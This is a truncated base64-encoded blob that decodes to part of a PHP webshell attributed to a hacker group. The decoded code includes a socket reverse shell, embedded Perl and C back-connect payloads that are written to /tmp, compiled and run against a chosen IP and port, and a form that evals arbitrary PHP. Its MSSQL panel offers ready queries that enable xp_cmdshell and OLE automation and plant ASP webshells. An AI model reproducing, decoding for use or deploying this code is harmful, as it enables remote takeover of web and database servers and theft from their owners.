PKp7DcIik7fQ0KCQkJCWVsc2V7DQoJCQkJCSRtZXNzYWdlPSIgU2lsaWMgR3JvdXAgSGFja2VyIEFybXkgLSBCbGFja0JhcC5PcmcgLSBQSFC3tLWvway901xuIjsNCgkJCQkJc29ja2V0X3dyaXRlKCRzb2NrLCRtZXNzYWdlLHN0cmxlbigkbWVzc2FnZSkpOw0KCQkJCQkkY3dkPXN0cl9yZXBsYWNlKCdcXCcsJy8nLGRpcm5hbWUoX19GSUxFX18pKTsNCgkJCQkJd2hpbGUoJGNtZD1zb2NrZXRfcmVhZCgkc29jayw2NTUzNSwkcHJvdG8pKQ0KCQkJCQl7DQoJCQkJCQlpZih0cmltKHN0cnRvbG93ZXIoJGNtZCkpPT0iZXhpdCIpe3NvY2tldF93cml0ZSgkc29jaywiQnllXG4iKTsgZXhpdDt9DQoJCQkJCQllbHNlew0KCQkJCQkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRjbWQsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzLCAkY3dkLCAkZW52KTsNCgkJCQkJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKXsNCgkJCQkJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNtZCk7DQoJCQkJCQkJCWZjbG9zZSgkcGlwZXNbMF0pOw0KCQkJCQkJCQkkbXNnPXN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsNCgkJCQkJCQkJc29ja2V0X3dyaXRlKCRzb2NrLCRtc2csc3RybGVuKCRtc2cpKTsNCgkJCQkJCQkJZmNsb3NlKCRwaXBlc1sxXSk7DQoJCQkJCQkJCSRtc2c9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOw0KCQkJCQkJCQlzb2NrZXRfd3JpdGUoJHNvY2ssJG1zZyxzdHJsZW4oJG1zZykpOw0KCQkJCQkJCQkkcmV0dXJuX3ZhbHVlID0gcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZWlmKCR0eT09J2xpbnV4Jyl7DQoJCQkJJHlvdXJpcCA9IGlzc2V0KCRfUE9TVFsneW91cmlwJ10pID8gJF9QT1NUWyd5b3VyaXAnXSA6IGdldGVudignUkVNT1RFX0FERFInKTsNCgkJCQkkeW91cnBvcnQgPSBpc3NldCgkX1BPU1RbJ3lvdXJwb3J0J10pID8gJF9QT1NUWyd5b3VycG9ydCddIDogJzEyNjY2JzsNCgkJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj48Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Imtmb3JtIiBpZD0ia2Zvcm0iIGFjdGlvbj0iP3M9ZGQmdHk9bGludXgiPg0KPGJyPsTjtcS12Na3IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ5b3VyaXAiIHZhbHVlPSJ7JHlvdXJpcH0iIHN0eWxlPSJ3aWR0aDo0MDBweCI+PGJyPg0Kway907bLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InlvdXJwb3J0IiB2YWx1ZT0iMTI2NjYiIHN0eWxlPSJ3aWR0aDo0MDBweCI+PGJyPg0K1rTQ0Le9yr0gPHNlbGVjdCBuYW1lPSJ1c2UiPjxvcHRpb24gdmFsdWU9InBlcmwiPnBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjIj5jPC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7Jm5ic3A7DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0it7S1r8GsvdMiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PGJyPjxicj48YnI+PC9mb3JtPjwvZGl2Pg0KRU5EOw0KCQkJCWlmKCghZW1wdHkoJF9QT1NUWyd5b3VyaXAnXSkpICYmICghZW1wdHkoJF9QT1NUWyd5b3VycG9ydCddKSkpDQoJCQkJew0KCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCQkJCWlmKCRfUE9TVFsndXNlJ10gPT0gJ3BlcmwnKQ0KCQkJCQl7DQoJCQkJCQkkYmFja19jb25uZWN0X3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUmhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWxPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkJCQkJCWVjaG8gRmlsZV9Xcml0ZSgnL3RtcC95b2NvX2JjJyxiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfcGwpLCd3YicpID8gJ7S0vagvdG1wL3lvY29fYmOzybmmPGJyPicgOiAntLS9qC90bXAveW9jb19iY8qnsNw8YnI+JzsNCgkJCQkJCSRwZXJscGF0aCA9IEV4ZWNfUnVuKCd3aGljaCBwZXJsJyk7DQoJCQkJCQkkcGVybHBhdGggPSAkcGVybHBhdGggPyBjaG9wKCRwZXJscGF0aCkgOiAncGVybCc7DQoJCQkJCQllY2hvIEV4ZWNfUnVuKCRwZXJscGF0aC4nIC90bXAveW9jb19iYyAnLiRfUE9TVFsneW91cmlwJ10uJyAnLiRfUE9TVFsneW91cnBvcnQnXS4nICYnKSA/ICduYyAtbCAtbiAtdiAtcCAnLiRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOw0KCQkJCQl9DQoJCQkJCWlmKCRfUE9TVFsndXNlJ10gPT0gJ2MnKQ0KCQkJCQl7DQoJCQkJCQkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5YlNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmRLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0RRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KCQkJCQkJZWNobyBGaWxlX1dyaXRlKCcvdG1wL3lvY29fYmMuYycsYmFzZTY0X2RlY29kZSgkYmFja19jb25uZWN0X2MpLCd3YicpID8gJ7S0vagvdG1wL3lvY29fYmMuY7PJuaY8YnI+JyA6ICe0tL2oL3RtcC95b2NvX2JjLmPKp7DcPGJyPic7DQoJCQkJCQkkcmVzID0gRXhlY19SdW4oJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOw0KCQkJCQkJQHVubGluaygnL3RtcC95b2NvLmMnKTsNCgkJCQkJCWVjaG8gRXhlY19SdW4oJy90bXAveW9jb19iYyAnLiRfUE9TVFsneW91cmlwJ10uJyAnLiRfUE9TVFsneW91cnBvcnQnXS4nICYnKSA/ICduYyAtbCAtbiAtdiAtcCAnLiRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOw0KCQkJCQl9DQoJCQkJCWVjaG8gJzxicj7E47/J0tSzosrUway907bLv9ogKG5jIC1sIC1uIC12IC1wICcuJF9QT1NUWyd5b3VycG9ydCddLicpIDwvZGl2Pic7DQoJCQkJfQ0KCQkJCXJldHVybiB0cnVlOw0KCQkJfWVsc2V7DQoJCQkJcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+PHByZT4NCjxicj48YSBocmVmPSI/cz1kZCZ0eT1saW51eCI+IFsgQy9QZXJsILe0ta8gLSBMaW51eCBdIDwvYT48YnI+PGJyPg0KPGg1PrG+ubLE3NPD09psaW51eMzhyKjW0LXEt7TP8mNtZMGsvdOhozxicj4NCtStwO3Kx72rt7S1r8GsvdO5psTctcRwZXJsvcWxvrvy1d9Ds8zQ8tC0yOsvdG1wzsS8/rzQsqLUy9DQPGJyPg0KyPRwaHC9+9PDwcvD/MHu1rTQ0Lqvyv29q7/JxNy1vNbCt7S1r8qnsNw8YnI+DQqxvrXYx+vUy9DQbmOzzNDyvODM/bbLv9qjrMD9yOduYyAtdnYgLWwgLXAgMTI2NjY8L2g1Pjxicj48YnI+PGJyPg0KPGEgaHJlZj0iP3M9ZGQmdHk9c29ja2V0Ij4gWyBTb2NrZXS3tLWvIC0gV2luZG93cyBdIDwvYT48YnI+PGJyPg0KPGg1PlBIUMq508NTb2NrZXS9+NDQY21kc2hlbGy3tM/yway906GjV2Vic2hlbGzL+dTat/7O8cb3sdjQ686qV2luZG93c8+1zbM8YnI+DQrEv8eww7vT0Leiz9bT0LfAu6TI7bz+u+G21FNvY2tldLe0z/LBrL3T1/az9s/e1sajrLWrcGhwX3NvY2tldHOx2NDryejWw86qb3Blbi9lbmFibGU8YnI+DQrH68/Izai5/XBocGluZm8oKbqvyv2y6b+0t/7O8cb3yse38dTK0O1waHBfc29ja2V0way90zxicj4NClNvY2tldLe0z/LBrL3TtcTTw82+08PT2rWxUEhQvfvTw8HLsr+31sP8we7WtNDQuq/K/brztcTD/MHu1rTQ0Dxicj4NCrK70qrDpMS/way906Ost/HU8r2r1Oyzybf+zvHG97zZy8ChotfK1LS6xL6htcjRz9bYuvO5+zxicj4NCrG+tdjH68/I1MvQ0G5jLmV4ZbzgzP22y7/ao6zA/cjnbmMgLXZ2IC1sIC1wIDU1NTU8YnI+PC9oNT4NCjwvcHJlPjwvZGl2Pg0KRU5EOw0KCQkJfQ0KCQl9DQoJCS8vZXZhbNa00NBwaHC0+sLrDQoJCWZ1bmN0aW9uIHBocGNvZGUoKQ0KCQl7DQoJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aDU+yuTI63BocLT6wus6PGg1PjwvZGl2Pg0KPGZvcm0gYWN0aW9uPSI/cz1mZiIgbWV0aG9kPSJQT1NUIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PHRleHRhcmVhIG5hbWU9InBocGNvZGUiIHJvd3M9IjIwIiBjb2xzPSI4MCI+cGhwaW5mbygpOy8qcHJpbnRfcihhcGFjaGVfZ2V0X21vZHVsZXMoKSk7Ki88L3RleHRhcmVhPjwvZGl2PjxiciAvPg0KPGRpdj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFVkFM1rTQ0CI+PC9kaXY+PGJyPjwvZm9ybT4NCkVORDsNCgkJCSRwaHBjb2RlID0gJF9QT1NUWydwaHBjb2RlJ107DQoJCQkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOw0KCQkJaWYoJHBocGNvZGUpew0KCQkJCWlmKCFwcmVnX21hdGNoKCcjPFw/I3NpJywkcGhwY29kZSkpeyRwaHBjb2RlID0gIjw/cGhwXG5cbnskcGhwY29kZX1cblxuPz4iO30NCgkJCQlldmFsKCI/Ii4iPiRwaHBjb2RlPD9waHAgIik7DQoJCQkJZWNobyAnPGJyPjxicj4nOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCS8vxuTL/Mr9vt2/4sGsvdMNCgkJZnVuY3Rpb24gb3RoZXJkYigpew0KCQkJJGRiID0gaXNzZXQoJF9HRVRbJ2RiJ10pID8gJF9HRVRbJ2RiJ10gOiAnbXMnOw0KCQkJcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iZGJmb3JtIiBpZD0iZGJmb3JtIiBhY3Rpb249Ij9zPWdnJmRiPXskZGJ9IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+DQo8YSBocmVmPSI/cz1nZyZkYj1tcyI+ICZuYnNwIE1TU1FMICZuYnNwPC9hPg0KPGEgaHJlZj0iP3M9Z2cmZGI9b3JhIj4gJm5ic3AgT3JhY2xlICZuYnNwPC9hPg0KPGEgaHJlZj0iP3M9Z2cmZGI9aWZ4Ij4gJm5ic3AgSW5mb3JNaXggJm5ic3A8L2E+DQo8YSBocmVmPSI/cz1nZyZkYj1mYiI+ICZuYnNwICBGaXJlQmlyZCAmbmJzcDwvYT4NCjxhIGhyZWY9Ij9zPWdnJmRiPWRiMiI+Jm5ic3AgREIyICZuYnNwPC9hPjwvZGl2PjwvZm9ybT4NCkVORDsNCgkJCWlmICgkZGI9PSJtcyIpew0KCQkJCSRtc2hvc3QgPSBpc3NldCgkX1BPU1RbJ21zaG9zdCddKSA/ICRfUE9TVFsnbXNob3N0J106J2xvY2FsaG9zdCc7DQoJCQkJJG1zdXNlciA9IGlzc2V0KCRfUE9TVFsnbXN1c2VyJ10pID8gJF9QT1NUWydtc3VzZXInXSA6ICdzYSc7DQoJCQkJJG1zcGFzcyA9IGlzc2V0KCRfUE9TVFsnbXNwYXNzJ10pID8gJF9QT1NUWydtc3Bhc3MnXSA6ICcnOw0KCQkJCSRtc2RibmFtZSA9IGlzc2V0KCRfUE9TVFsnbXNkYm5hbWUnXSkgPyAkX1BPU1RbJ21zZGJuYW1lJ10gOiAnbWFzdGVyJzsNCgkJCQkkbXNhY3Rpb24gPSBpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSA/ICRfUE9TVFsnYWN0aW9uJ10gOiAnJzsNCgkJCQkkbXNxdWVyeSA9IGlzc2V0KCRfUE9TVFsnbXNzcWwnXSkgPyAkX1BPU1RbJ21zc3FsJ10gOiAnJzsNCgkJCQkkbXNxdWVyeSA9IHN0cmlwc2xhc2hlcygkbXNxdWVyeSk7DQoJCQkJcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im1zZm9ybSIgYWN0aW9uPSI/cz1nZyZkYj1tcyI+DQpIb3N0OjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtc2hvc3QiIHZhbHVlPSJ7JG1zaG9zdH0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+DQpVc2VyOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtc3VzZXIiIHZhbHVlPSJ7JG1zdXNlcn0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+DQpQYXNzOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtc3Bhc3MiIHZhbHVlPSJ7JG1zcGFzc30iIHN0eWxlPSJ3aWR0aDoxMDBweCI+DQpEYm5hbWU6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1zZGJuYW1lIiB2YWx1ZT0ieyRtc2RibmFtZX0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+PGJyPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBtc0Z1bGwoaSl7DQoJU3RyID0gbmV3IEFycmF5KDExKTsNCglTdHJbMF0gPSAiIjsNCglTdHJbMV0gPSAic2VsZWN0IEBAdmVyc2lvbjsiOw0KCVN0clsyXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c2RhdGFiYXNlczsiOw0KCVN0clszXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c29iamVjdCB3aGVyZSB0eXBlPSdVJzsiOw0KCVN0cls0XSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c2NvbHVtbnMgd2hlcmUgaWQ9T2JqZWN0X0lkKCd0YWJsZV9uYW1lJyk7IjsNCglTdHJbNV0gPSAiVXNlIG1hc3RlciBkYmNjIGFkZGV4dGVuZGVkcHJvYyAoJ3NwX09BQ3JlYXRlJywnb2Rzb2xlNzAuZGxsJyk7IjsNCglTdHJbNl0gPSAiVXNlIG1hc3RlciBkYmNjIGFkZGV4dGVuZGVkcHJvYyAoJ3hwX2NtZHNoZWxsJywneHBsb2c3MC5kbGwnKTsiOw0KCVN0cls3XSA9ICJFWEVDIHNwX2NvbmZpZ3VyZSAnc2hvdyBhZHZhbmNlZCBvcHRpb25zJywgMTtSRUNPTkZJR1VSRTtFWEVDIHNwX2NvbmZpZ3VyZSAneHBfY21kc2hlbGwnLCAxO1JFQ09ORklHVVJFOyI7DQoJU3RyWzhdID0gImV4ZWMgc3BfY29uZmlndXJlICdzaG93IGFkdmFuY2VkIG9wdGlvbnMnLCAxO1JFQ09ORklHVVJFO2V4ZWMgc3BfY29uZmlndXJlICdPbGUgQXV0b21hdGlvbiBQcm9jZWR1cmVzJywxO1JFQ09ORklHVVJFOyI7DQoJU3RyWzldID0gImV4ZWMgc3BfY29uZmlndXJlICdzaG93IGFkdmFuY2VkIG9wdGlvbnMnLCAxO1JFQ09ORklHVVJFO2V4ZWMgc3BfY29uZmlndXJlICdBZCBIb2MgRGlzdHJpYnV0ZWQgUXVlcmllcycsMTtSRUNPTkZJR1VSRTsiOw0KCVN0clsxMF0gPSAiRXhlYyBtYXN0ZXIuZGJvLnhwX2NtZHNoZWxsICduZXQgdXNlcic7IjsNCglTdHJbMTFdID0gIkRlY2xhcmUgQHMgIGludDtleGVjIHNwX29hY3JlYXRlICd3c2NyaXB0LnNoZWxsJyxAcyBvdXQ7RXhlYyBTUF9PQU1ldGhvZCBAcywncnVuJyxOVUxMLCdjbWQuZXhlIC9jIGVjaG8gXjwlZXhlY3V0ZShyZXF1ZXN0KGNoYXIoMzUpKSklXj4gPiBjOlxcXFwxLmFzcCc7IjsNCglTdHJbMTJdID0gInNwX21ha2V3ZWJ0YXNrIEBvdXRwdXRmaWxlPSdkOlxcXFx3ZWJcXFxcYmluLmFzcCcsQGNoYXJzZXQ9Z2IyMzEyLEBxdWVyeT0nc2VsZWN0ICcnPCVleGVjdXRlKHJlcXVlc3QoY2hyKDM1KSkpJT4nJycgIjsNCgltc2Zvcm0ubXNzcWwudmFsdWUgPSBTdHJbaV07DQoJcmV0dXJuIHRydWU7DQp9DQo8L3NjcmlwdD4NCjx0ZXh0YXJlYSBuYW1lPSJtc3NxbCIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDoyMDBweDsiPnskbXNxdWVyeX08L3RleHRhcmVhPjxicj4NCjxzZWxlY3Qgb25jaGFuZ2U9InJldHVybiBtc0Z1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSkiPg0KCTxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPta00NDD/MHuPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMSI+z9TKvrDmsb48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIyIj7K/b7dv+I8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIzIj6x7bbOPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iNCI+19a2zjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjUiPnNwX29hY3JlYXRlPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iNiI+eHBfY21kc2hlbGw8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSI3Ij54cF9jbWRzaGVsbCgyMDA1KTwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjgiPnNwX29hY3JlYXRlKDIwMDUpPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iOSI+tPK/qm9wZW5yb3dzZXQoMjAwNSk8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIxMCI+eHBfY21kc2hlbGwgZXhlYzwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjEwIj5zcF9vYW1ldGhvZCBleGVjPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMTEiPnNwX21ha2V3ZWJ0YXNrPC9vcHRpb24+DQo8L3NlbGVjdD4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9Im1zcXVlcnkiPg0KPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiPjwvZm9ybT48L2Rpdj4NCkVORDsNCgkJCQlpZiAoJG1zYWN0aW9uID09ICdtc3F1ZXJ5Jyl7DQoJCQkJCSRtc2Nvbm49IG1zc3FsX2Nvbm5lY3QgKCRtc2hvc3QgLCAkbXN1c2VyLCAkbXNwYXNzKTsNCgkJCQkJbXNzcWxfc2VsZWN0X2RiKCRtc2RibmFtZSwkbXNjb25uKSBvciBkaWUoImNvbm5lY3QgZXJyb3IgOiIgLm1zc3FsX2dldF9sYXN0X21lc3NhZ2UoKSk7DQoJCQkJCSRtc3Jlc3VsdCA9IG1zc3FsX3F1ZXJ5KCRtc3F1ZXJ5KSBvciBkaWUobXNzcWxfZ2V0X2xhc3RfbWVzc2FnZSgpKTsNCgkJCQkJZWNobyAnPGZvbnQgZmFjZT0idmVyZGFuYSI+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjEiIGNlbGxzcGFjaW5nPSIyIj4nLiJcbjx0cj5cbiI7DQoJCQkJCWZvciAoJGk9MDsgJGk8bXNzcWxfbnVtX2ZpZWxkcygkbXNyZXN1bHQpOyAkaSsrKQ0KCQkJCQl7ZWNobyAnPHRkPjxiPicubXNzcWxfZmllbGRfbmFtZSgkbXNyZXN1bHQsICRpKS4iPC9iPjwvdGQ+XG4iO30NCgkJCQkJZWNobyAiPC90cj5cbiI7DQoJCQkJCW1zc3FsX2RhdGFfc2VlaygkcmVzdWx0LCAwKTsNCgkJCQkJd2hpbGUgKCRtc3Jvdz1tc3NxbF9mZXRjaF9yb3coJG1zcmVzdWx0KSkNCgkJCQkJew0KCQkJCQkJZWNobyAiPHRyPlxuIjsNCgkJCQkJCWZvciAoJGk9MDsgJGk8bXNzcWxfbnVtX2ZpZWxkcygkbXNyZXN1bHQpOyAkaSsrICkNCgkJCQkJCXtlY2hvICc8dGQ+Jy4iJG1zcm93WyRpXSIuJzwvdGQ+Jzt9DQoJCQkJCQllY2hvICI8L3RyPlxuIjsNCgkJCQkJfQ0KCQkJCQllY2hvICI8L3RhYmxlPjwvZm9udD4iOw0KCQkJCQltc3NxbF9mcmVlX3Jlc3VsdCgkbXNyZXN1bHQpOw0KCQkJCQltc3NxbF9jbG9zZSgpOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2VpZiAoJGRiPT0ib3JhIil7DQoJCQkJJG9yYWhvc3QgPSBpc3NldCgkX1BPU1RbJ29yYWhvc3QnXSkgPyAkX1BPU1RbJ29yYWhvc3QnXSA6ICdsb2NhbGhvc3QnOw0KCQkJCSRvcmFwb3J0ID0gaXNzZXQoJF9QT1NUWydvcmFwb3J0J10pID8gJF9QT1NUWydvcmFwb3J0J10gOiAnMTUyMSc7DQoJCQkJJG9yYXVzZXIgPSBpc3NldCgkX1BPU1RbJ29yYXVzZXInXSkgPyAkX1BPU1RbJ29yYXVzZXInXSA6ICdyb290JzsNCgkJCQkkb3JhcGFzcyA9IGlzc2V0KCRfUE9TVFsnb3JhcGFzcyddKSA/ICRfUE9TVFsnb3JhcGFzcyddIDogJzEyMzQ1Nic7DQoJCQkJJG9yYXNpZCA9IGlzc2V0KCRfUE9TVFsnb3Jhc2lkJ10pID8gJF9QT1NUWydvcmFzaWQnXSA6ICdPUkNMJzsNCgkJCQkkb3JhYWN0aW9uID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogJyc7DQoJCQkJJG9yYXF1ZXJ5ID0gaXNzZXQoJF9QT1NUWydvcmFzcWwnXSkgPyAkX1BPU1RbJ29yYXNxbCddIDogJyc7DQoJCQkJJG9yYXF1ZXJ5ID0gc3RyaXBzbGFzaGVzKCRvcmFxdWVyeSk7DQoJCQkJcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ib3JhZm9ybSIgYWN0aW9uPSI/cz1nZyZkYj1vcmEiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCkhvc3Q6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im9yYWhvc3QiIHZhbHVlPSJ7JG9yYWhvc3R9IiBzdHlsZT0id2lkdGg6MTAwcHgiPg0KUG9ydDo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ib3JhcG9ydCIgdmFsdWU9Inskb3JhcG9ydH0iIHN0eWxlPSJ3aWR0aDo1MHB4Ij4NClVzZXI6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im9yYXVzZXIiIHZhbHVlPSJ7JG9yYXVzZXJ9IiBzdHlsZT0id2lkdGg6ODBweCI+DQpQYXNzOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJvcmFwYXNzIiB2YWx1ZT0ieyRvcmFwYXNzfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4NClNJRDo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ib3Jhc2lkIiB2YWx1ZT0ieyRvcmFzaWR9IiBzdHlsZT0id2lkdGg6NTBweCI+PGJyPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBvcmFGdWxsKGkpew0KU3RyID0gbmV3IEFycmF5KDUpOw0KCVN0clswXSA9ICIiOw0KCVN0clsxXSA9ICJzZWxlY3QgdmVyc2lvbigpOyI7DQoJU3RyWzJdID0gIlNFTEVDVCBOQU1FIEZST00gViREQVRBQkFTRSI7DQoJU3RyWzNdID0gInNlbGVjdCAqIEZyb20gYWxsX29iamVjdHMgd2hlcmUgb2JqZWN0X3R5cGU9J1RBQkxFJyI7DQoJU3RyWzRdID0gInNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIHVzZXJfdGFiX2NvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndGFibGUxJyI7DQoJb3JhZm9ybS5vcmFzcWwudmFsdWUgPSBTdHJbaV07DQoJcmV0dXJuIHRydWU7DQp9DQo8L3NjcmlwdD4NCjx0ZXh0YXJlYSBuYW1lPSJvcmFzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JG9yYXF1ZXJ5fTwvdGV4dGFyZWE+PGJyPg0KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIG9yYUZ1bGwob3B0aW9uc1tz